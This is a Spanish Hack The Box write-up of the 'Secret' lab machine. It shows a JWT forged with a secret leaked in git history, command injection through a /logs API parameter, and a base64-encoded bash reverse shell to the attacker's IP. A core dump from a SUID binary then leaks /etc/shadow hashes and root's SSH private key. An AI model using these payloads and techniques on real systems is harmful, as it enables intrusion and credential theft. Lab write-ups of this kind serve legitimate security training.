This page looks best with JavaScript enabled

Hack The Box - Secret

 •  ✍️ sckull

En Secret obtuvimos acceso por medio de una API, tras analizar el codigo fuente logramos escalar privilegios y acceder tras realizar ‘Command Injection’. Escalamos privilegios tras generar un ‘CoreDump’ que nos permitió acceder por SSH.

Nombre Secret box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.11.120
Maker

z9fr

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.4, 5.1, 4.3, 5.7, 4.9],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: SSH (22), HTTP (80).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Nmap 7.91 scan initiated Mon Nov 22 01:00:54 2021 as: nmap -p22,80 -sC -sV -o nmap 10.10.11.120
Nmap scan report for 10.10.11.120 (10.10.11.120)
Host is up (0.15s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Nov 22 01:01:09 2021 -- 1 IP address (1 host up) scanned in 14.80 seconds

Web Site

Realizando una solicitud con curl vemos en los headers X-Powered-By Express, suponiendo con esto que esta utilizando Express.js.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 π ~/htb/secret ❯ curl -sI 10.10.11.120
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 22 Nov 2021 01:23:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 12872
Connection: keep-alive
X-Powered-By: Express
ETag: W/"3248-nFUp1XavqYRgAFgHenjOsSPQ/e4"

 π ~/htb/secret ❯

Vemos que el sitio web ofrece informacion sobre un software y una API.
image

En la documentacion vemos las diferentes rutas y respuestas de la API, además encontramos una ‘demo’ bajo la direccion /api.
image

Se mencionan las rutas:

  • /api/user/register : recibe valores en formato json, name, email, password para el registro de un usuario.
  • /api/user/login : email y password son necesarios para que se genére un token de autenticacion JWT.
  • /api/priv : necesita de un tonken de autenticacion JWT con privilegios de administrador.

API

Codigo Fuente

Además de la informacion de la API tambien encontramos el codigo fuente en un archivo ZIP. Dentro de este encontramos un repositorio y, con git logs vemos la descripción de los cambios hechos desde su creación.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <dasithsv@gmail.com>
Date:   Thu Sep 9 00:03:27 2021 +0530

    now we can view logs from server 😃

commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

commit de0a46b5107a2f4d26e348303e76d85ae4870934
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:29:19 2021 +0530

    added /downloads

commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:27:35 2021 +0530

    removed swap

commit 3a367e735ee76569664bf7754eaaade7c735d702
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:26:39 2021 +0530

    added downloads

commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:25:52 2021 +0530

    first commit

Al revisar el historial de cambios vemos el token_secret en el archivo .env el cual no esta presente en su ultima versión.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# git show 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

diff --git a/.env b/.env
index fb6f587..31db370 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
 DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret

En el ultimo cambio realizado para ‘ver los logs del servidor’ vemos que ejecuta git con el nombre del archivo pasado en file: git log --oneline ${file}. Con esto podríamos ejecutar comandos (Command Injection) en el servidor ya que no tiene algun tipo de filtro. Además se accede por la ruta privada (/priv) que, verifica que el usuario sea theadmin.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# git show e297a2797a5f62b6011654cf6fb6ccb6712d2d5b
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <dasithsv@gmail.com>
Date:   Thu Sep 9 00:03:27 2021 +0530

    now we can view logs from server 😃

diff --git a/routes/private.js b/routes/private.js
index 1347e8c..cf6bf21 100644
--- a/routes/private.js
+++ b/routes/private.js
@@ -11,10 +11,10 @@ router.get('/priv', verifytoken, (req, res) => {

     if (name == 'theadmin'){
         res.json({
-            role:{
-
-                role:"you are admin",
-                desc : "{flag will be here}"
+            creds:{
+                role:"admin",
+                username:"theadmin",
+                desc : "welcome back admin,"
             }
         })
     }
@@ -26,7 +26,32 @@ router.get('/priv', verifytoken, (req, res) => {
             }
         })
     }
+})
+

+router.get('/logs', verifytoken, (req, res) => {
+    const file = req.query.file;
+    const userinfo = { name: req.user }
+    const name = userinfo.name.name;
+
+    if (name == 'theadmin'){
+        const getLogs = `git log --oneline ${file}`;
+        exec(getLogs, (err , output) =>{
+            if(err){
+                res.status(500).send(err);
+                return
+            }
+            res.json(output);
+        })
+    }
+    else{
+        res.json({
+            role: {
+                role: "you are normal user",
+                desc: userinfo.name.name
+            }
+        })
+    }
 })

 router.use(function (req, res, next) {
@@ -40,4 +65,4 @@ router.use(function (req, res, next) {
 });


-module.exports = router
\ No newline at end of file
+module.exports = router

Revisando el codigo fuente vemos que la ruta /logs solo verifica que el usuario sea theadmin (private.js) y que el token de autenticacion ha sido creado con el valor de TOKEN_SECRET (verifytoken.js).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//private.js

router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =>{
            if(err){
                res.status(500).send(err);
                return
            }
            res.json(output);
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
//verifytoken.js
const jwt = require("jsonwebtoken");

module.exports = function (req, res, next) {
    const token = req.header("auth-token");
    if (!token) return res.status(401).send("Access Denied");

    try {
        const verified = jwt.verify(token, process.env.TOKEN_SECRET);
        req.user = verified;
        next();
    } catch (err) {
        res.status(400).send("Invalid Token");
    }
};

Si verificamos el proceso de creación de el token de autenticación vemos que simplemente utiliza: id, name, email, TOKEN_SECRET.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
//auth.js
const jwt = require('jsonwebtoken')

[.. snip ..]
// login 

router.post('/login', async  (req , res) => {

	[.. snip ..]
    // create jwt 
    const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
    res.header('auth-token', token).send(token);

})

Dasith - User

Admin

Creamos un pequeño archivo para generar un token de autenticacion utilizando la informacion disponible del usuario theadmin en el sitio web.

1
2
3
const jwt = require('jsonwebtoken')
const token = jwt.sign({ _id: "1", name: "theadmin" , email: "root@dasith.works"}, 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' )
console.log(token);

Tras generar el token verificamos el mismo en la ruta /priv donde nos mostró que tenemos el rol de admin por lo que podriamos acceder a /logs.

1
2
3
4
5
 π local-web/routes master ✗ ❯ nodejs token_htb.js
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiIxIiwibmFtZSI6InRoZWFkbWluIiwiZW1haWwiOiJyb290QGRhc2l0aC53b3JrcyIsImlhdCI6MTYzNzU0NTYwNX0.4t7NrhnpS8Gu5VEb8-O3W1nXfwaPsakpatwfwEBFt60
 π local-web/routes master ✗ ❯ curl -s http://10.10.11.120/api/priv -H "auth-token: eyJhbGciO[.. snip... ]-O3W1nXfwaPsakpatwfwEBFt600"
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}%                
π local-web/routes master ✗ ❯

Como sabemos se esta utilizando el mismo codigo o almenos parte de este en el sitio web de la maquina, enviamos el archivo index.js para verificar el log de este archivo. Tras ello vemos que se muestra la descripcion del ultimo cambio en el archivo.

1
2
3
 π ~/htb/secret ❯ curl -s "http://10.10.11.120:3000/api/logs?file=index.js" -H "auth-token: eyJhbGciO[.. snip... ]-O3W1nXfwaPsakpatwfwEBFt60"
"ab3e953 Added the codes\n"%
π ~/htb/secret ❯

Creamos una shell inversa codificando esta en base64 para luego agregar comandos para ejecutar la misma, que finalmente codificamos en URL.

1
2
3
4
5
6
7
8
 π ~/htb/secret ❯ echo -n "bash -i >& /dev/tcp/10.10.14.30/1337 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zMC8xMzM3IDA+JjE=

# Commando
# echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zMC8xMzM3IDA+JjE=|base64 -d|bash

# URL encode
# echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4zMC8xMzM3IDA%2BJjE%3D%7Cbase64%20%2Dd%7Cbash

Finalmente enviamos una petición en /log para ejecutar nuestra shell inversa.

1
π ~/htb/secret ❯ curl -s "http://10.10.11.120:3000/api/logs?file=;echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4zMC8xMzM3IDA%2BJjE%3D%7Cbase64%20%2Dd%7Cbash" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiIxIiwibmFtZSI6InRoZWFkbWluIiwiZW1haWwiOiJyb290QGRhc2l0aC53b3JrcyIsImlhdCI6MTYzNzU0NTYwNX0.4t7NrhnpS8Gu5VEb8-O3W1nXfwaPsakpatwfwEBFt60"

Shell

Como resultado obtuvimos una shell inversa con el usuario dasith y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
 π ~/htb/secret ❯ nc -lvp 1337
listening on [any] 1337 ...
connect to [10.10.14.30] from 10.10.11.120 [10.10.11.120] 45360
bash: cannot set terminal process group (1111): Inappropriate ioctl for device
bash: no job control in this shell
dasith@secret:~/local-web$
dasith@secret:~/local-web$ whoami; id
dasith
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
dasith@secret:~/local-web$
dasith@secret:~/local-web$ cd
dasith@secret:~$ ls
local-web
user.txt
dasith@secret:~$ cat user.txt
9ee8bd4de541c76f9f5799c6eb8b868d
dasith@secret:~$

Privesc

Tras realizar una enumeracion de ficheros con permisos SUID encontramos /opt/count.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
dasith@secret:~$ find / -perm -4000 2>/dev/null| xargs ls -lah
find / -perm -4000 2>/dev/null| xargs ls -lah
-rwsr-xr-x 1 root root             18K Oct  7 10:03 /opt/count
[.. snip ..]
-rwsr-xr-x 1 root root             84K Jul 14 22:08 /usr/bin/chfn
-rwsr-xr-x 1 root root             52K Jul 14 22:08 /usr/bin/chsh
-rwsr-xr-x 1 root root             39K Mar  7  2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root             87K Jul 14 22:08 /usr/bin/gpasswd
-rwsr-xr-x 1 root root             55K Jul 21  2020 /usr/bin/mount
-rwsr-xr-x 1 root root             44K Jul 14 22:08 /usr/bin/newgrp
-rwsr-xr-x 1 root root             67K Jul 14 22:08 /usr/bin/passwd
-rwsr-xr-x 1 root root             31K May 26 11:50 /usr/bin/pkexec
-rwsr-xr-x 1 root root             67K Jul 21  2020 /usr/bin/su
-rwsr-xr-x 1 root root            163K Jan 19  2021 /usr/bin/sudo
-rwsr-xr-x 1 root root             39K Jul 21  2020 /usr/bin/umount
-rwsr-xr-- 1 root messagebus       51K Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root             15K Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root            463K Jul 23 12:55 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root             23K May 26 11:50 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root            128K Sep  9 14:34 /usr/lib/snapd/snap-confine
dasith@secret:~$

La ejecucion de dicho fichero aparentemente realiza la lectura del archivo que recibe y cuenta el numero de lineas, caracteres y palabras, tambien, tiene la opcion de guardar el resultado en un archivo. Vemos en este caso el archivo user.txt y u.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
dasith@secret:~$ /opt/count
Enter source file/directory name: /home/dasith/user.txt
/home/dasith/user.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: y
Path: /home/dasith/u.txt
dasith@secret:~$ ls
local-web  user.txt  u.txt
dasith@secret:~$ cat u.txt
Total characters = 33
Total words      = 2
Total lines      = 2
dasith@secret:~$

En la carpeta de dicho fichero encontramos lo que parece ser el codigo fuente de acuerdo a las fechas de los archivos. Además vemos un archivo log valgrid.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
dasith@secret:/opt$ ls -lah
ls -lah
total 56K
drwxr-xr-x  2 root root 4.0K Oct  7 10:06 .
drwxr-xr-x 20 root root 4.0K Oct  7 15:01 ..
-rw-r--r--  1 root root 3.7K Oct  7 10:01 code.c
-rw-r--r--  1 root root  16K Oct  7 10:01 .code.c.swp
-rwsr-xr-x  1 root root  18K Oct  7 10:03 count
-rw-r--r--  1 root root 4.6K Oct  7 10:04 valgrind.log
dasith@secret:/opt$

En el codigo fuente, vemos dos funciones que realizan la lectura y un contador de los archivos, tambien que realiza la lectura de archivos simbolicos y de directorios con sus respectivos permisos. Finalmente la funcion principal que es la encargada de la ejecucion de cada una de las funciones y la entrada de los valores.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
//cat code.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>

void dircount(const char *path, char *summary)
{
    DIR *dir;
    char fullpath[PATH_MAX];
    struct dirent *ent;
    struct stat fstat;

    int tot = 0, regular_files = 0, directories = 0, symlinks = 0;

    if((dir = opendir(path)) == NULL)
    {
        printf("\nUnable to open directory.\n");
        exit(EXIT_FAILURE);
    }
    while ((ent = readdir(dir)) != NULL)
    {
        ++tot;
        strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
        strcat(fullpath, "/");
        strncat(fullpath, ent->d_name, strlen(ent->d_name));
        if (!lstat(fullpath, &fstat))
        {
            if(S_ISDIR(fstat.st_mode))
            {
                printf("d");
                ++directories;
            }
            else if(S_ISLNK(fstat.st_mode))
            {
                printf("l");
                ++symlinks;
            }
            else if(S_ISREG(fstat.st_mode))
            {
                printf("-");
                ++regular_files;
            }
            else printf("?");
            printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
            printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
            printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
            printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
            printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
            printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
            printf((fstat.st_mode & S_IROTH) ? "r" : "-");
            printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
            printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
        }
        else
        {
            printf("??????????");
        }
        printf ("\t%s\n", ent->d_name);
    }
    closedir(dir);

    snprintf(summary, 4096, "Total entries       = %d\nRegular files       = %d\nDirectories         = %d\nSymbolic links      = %d\n", tot, regular_files, directories, symlinks);
    printf("\n%s", summary);
}


void filecount(const char *path, char *summary)
{
    FILE *file;
    char ch;
    int characters, words, lines;

    file = fopen(path, "r");

    if (file == NULL)
    {
        printf("\nUnable to open file.\n");
        printf("Please check if file exists and you have read privilege.\n");
        exit(EXIT_FAILURE);
    }

    characters = words = lines = 0;
    while ((ch = fgetc(file)) != EOF)
    {
        characters++;
        if (ch == '\n' || ch == '\0')
            lines++;
        if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
            words++;
    }

    if (characters > 0)
    {
        words++;
        lines++;
    }

    snprintf(summary, 256, "Total characters = %d\nTotal words      = %d\nTotal lines      = %d\n", characters, words, lines);
    printf("\n%s", summary);
}


int main()
{
    char path[100];
    int res;
    struct stat path_s;
    char summary[4096];

    printf("Enter source file/directory name: ");
    scanf("%99s", path);
    getchar();
    stat(path, &path_s);
    if(S_ISDIR(path_s.st_mode))
        dircount(path, summary);
    else
        filecount(path, summary);

    // drop privs to limit file write
    setuid(getuid());
    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf("Save results a file? [y/N]: ");
    res = getchar();
    if (res == 121 || res == 89) {
        printf("Path: ");
        scanf("%99s", path);
        FILE *fp = fopen(path, "a");
        if (fp != NULL) {
            fputs(summary, fp);
            fclose(fp);
        } else {
            printf("Could not open %s for writing\n", path);
        }
    }

    return 0;
}

Observamos dos comentarios en el codigo, uno para “limitar la escritura de ficheros” (setuid(getuid())) y otro para el ‘coredump generation’ (prctl(PR_SET_DUMPABLE, 1)) o un volcado de memoria, este último no es más que un registro de memoria de un proceso en un momento especifico, con ello es posible ver toda la informacion: variables, datos, etc., en este caso el archivo que es abierto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int main()
{
    char path[100];
    int res;
    struct stat path_s;
    char summary[4096];

    printf("Enter source file/directory name: ");
    scanf("%99s", path);
    getchar();
    stat(path, &path_s);
    if(S_ISDIR(path_s.st_mode))
        dircount(path, summary);
    else
        filecount(path, summary);

    // drop privs to limit file write
    setuid(getuid());

    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf("Save results a file? [y/N]: ");
    res = getchar();
    if (res == 121 || res == 89) {
        printf("Path: ");
        scanf("%99s", path);
        FILE *fp = fopen(path, "a");
        if (fp != NULL) {
            fputs(summary, fp);
            fclose(fp);
        } else {
            printf("Could not open %s for writing\n", path);
        }
    }

    return 0;
}

Coredump

Vemos que en ubuntu los coredumps se generan en el directorio /var/crash, tambien, encontramos como generar un coredump utilizando kill -ABRT <pid> ya que estos ‘coredump’ se generan cuando el sistema detecta algo anormal en un proceso, finalmente para la lectura de los archivos .crash es posible mediante la herramienta apport-unpack (1).

Para poder generar un coredump necesitamos dos terminales, una que ejecute el fichero count y otra que mata el proceso, seguramente cuando pregunte por la salida del resultado. Si observamos, en la segunda pestaña encontramos el pid y lo matamos, al revisar la carpeta /var/crash vemos el coredump generado.

1
2
3
4
5
6
7
8
dasith@secret:~$ /opt/count
Enter source file/directory name: /etc/shadow
Total characters = 1187
Total words      = 36
Total lines      = 36
Save results a file? [y/N]: y
Path: Aborted (core dumped)
dasith@secret:~$
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
dasith@secret:~$ ps -ef|grep count
root         838       1  0 01:15 ?        00:00:00 /usr/lib/accountsservice/accounts-daemon
dasith      1707    1632  0 06:22 pts/0    00:00:00 /opt/count
dasith      1709    1692  0 06:22 ?        00:00:00 grep --color=auto count
dasith@secret:~$ kill -ABRT 1707
dasith@secret:~$ ls -lah /var/crash
total 92K
drwxrwxrwt  2 root   root   4.0K Nov 22 06:23 .
drwxr-xr-x 14 root   root   4.0K Aug 13 05:12 ..
-rw-r-----  1 root   root    27K Oct  6 18:01 _opt_count.0.crash
-rw-r-----  1 dasith dasith  29K Nov 22 06:23 _opt_count.1000.crash
-rw-r-----  1 root   root    24K Oct  5 14:24 _opt_countzz.0.crash
dasith@secret:~$

Con apport-unpack obtuvimos distintos archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
dasith@secret:/var/crash$ mkdir /tmp/dump
dasith@secret:/var/crash$ ls
_opt_count.1000.crash
dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/dump
dasith@secret:/var/crash$ cd /tmp/dump
dasith@secret:/var/crash$ ls
Architecture
CoreDump
Date
DistroRelease
ExecutablePath
ExecutableTimestamp
ProblemType
ProcCmdline
ProcCwd
ProcEnviron
ProcMaps
ProcStatus
Signal
Uname
UserGroups
dasith@secret:/tmp/dump$

Si bien los archivos son utilizados para ser depurados, al pasar un strings en el archivo CoreDump vemos el contenido del archivo que hemos pasado anteriormente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
dasith@secret:/tmp/dump$ strings CoreDump
[.. snip ..]
??????????
Total entries       = %d
Regular files       = %d
Directories         = %d
Symbolic links      = %d
Unable to open file.
Please check if file exists and you have read privilege.
Total characters = %d
Total words      = %d
Total lines      = %d
Enter source file/directory name:
%99s
Save results a file? [y/N]:
Path:
Could not open %s for writing
:*3$"
Path: esults a file? [y/N]: l words      = 36
Total lines      = 36
tc/shadow
root:$6$/0f5J.S8.u.dA78h$xSyDRhh5Zf18Ha9XNVo5dvPhxnI0i7D/uD8T5FcYgN1FYMQbvkZakMgjgm3bhtS6hgKWBcD/QJqPgQR6cycFj.:18873:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
sys:*:18659:0:99999:7:::
sync:*:18659:0:99999:7:::
[.. snip ..]
sshd:*:18852:0:99999:7:::
systemd-coredump:!!:18852::::::
dasith:$6$RM7seX/Mzkds2S1x$.vkOBt4kRfs/6JRApNqvzZ1zM6W1FK8kNKyoBOVSuZbrdlOw.vPj2D7VC0y0sz2Eg2z5rj.GdK2ApMBFynjmR/:18873:0:99999:7:::
lxd:!:18852::::::
mongodb:!:18852:0:99999:7:::
aliases
ethers
group
[.. snip ..]
dasith@secret:/tmp/dump$

Shell

Si realizamos lo mismo, pero esta vez con el archivo id_rsa de root, obtendriamos acceso a la clave privada SSH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
dasith@secret:/tmp/dump$ cd /tmp/dump
[.. snip ..]
Total entries       = %d
Regular files       = %d
Directories         = %d
Symbolic links      = %d
Unable to open file.
Please check if file exists and you have read privilege.
Total characters = %d
Total words      = %d
Total lines      = %d
Enter source file/directory name:
%99s
Save results a file? [y/N]:
Path:
Could not open %s for writing
:*3$"
Path: esults a file? [y/N]: l words      = 45
Total lines      = 39
oot/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAn6zLlm7QOGGZytUCO3SNpR5vdDfxNzlfkUw4nMw/hFlpRPaKRbi3
KUZsBKygoOvzmhzWYcs413UDJqUMWs+o9Oweq0viwQ1QJmVwzvqFjFNSxzXEVojmoCePw+
7wNrxitkPrmuViWPGQCotBDCZmn4WNbNT0kcsfA+b4xB+am6tyDthqjfPJngROf0Z26lA1
xw0OmoCdyhvQ3azlbkZZ7EWeTtQ/EYcdYofa8/mbQ+amOb9YaqWGiBai69w0Hzf06lB8cx
[.. snip ..]
RaWN522KKCFg9W06leSBX7HyWL4a7r21aLhglXkeGEf3bH1V4nOE3f+5mU8S1bhleY5hP9
6urLSMt27NdCStYBvTEzhB86nRJr9ezPmQuExZG7ixTfWrmmGeCXGZt7KIyaT5/VZ1W7Pl
xhDYPO15YxLBhWJ0J3G9v6SN/YH3UYj47i4s0zk6JZMnVGTfCwXOxLgL/w5WJMelDW+l3k
fO8ebYddyVz4w9AAAADnJvb3RAbG9jYWxob3N0AQIDBA==
-----END OPENSSH PRIVATE KEY-----
aliases
ethers
[.. snip ..]
.eh_frame_hdr
.eh_frame
.text
.altinstructions
.altinstr_replacement
.comment
dasith@secret:/tmp/dump$

Tras utilizar la clave privada por ssh logramos obtener acceso como root y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 π ~/htb/secret ❯ ssh -i root root@10.10.11.120
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 22 Nov 2021 06:47:47 AM UTC

  System load:  0.08              Processes:             221
  Usage of /:   52.5% of 8.79GB   Users logged in:       0
  Memory usage: 18%               IPv4 address for eth0: 10.10.11.120
  Swap usage:   0%


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Oct 26 15:13:55 2021
root@secret:~# whoami; id
root
uid=0(root) gid=0(root) groups=0(root)
root@secret:~# ls
root.txt  snap
root@secret:~# cat root.txt
bd2691571f51dd767375165b2afb4f2f
root@secret:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe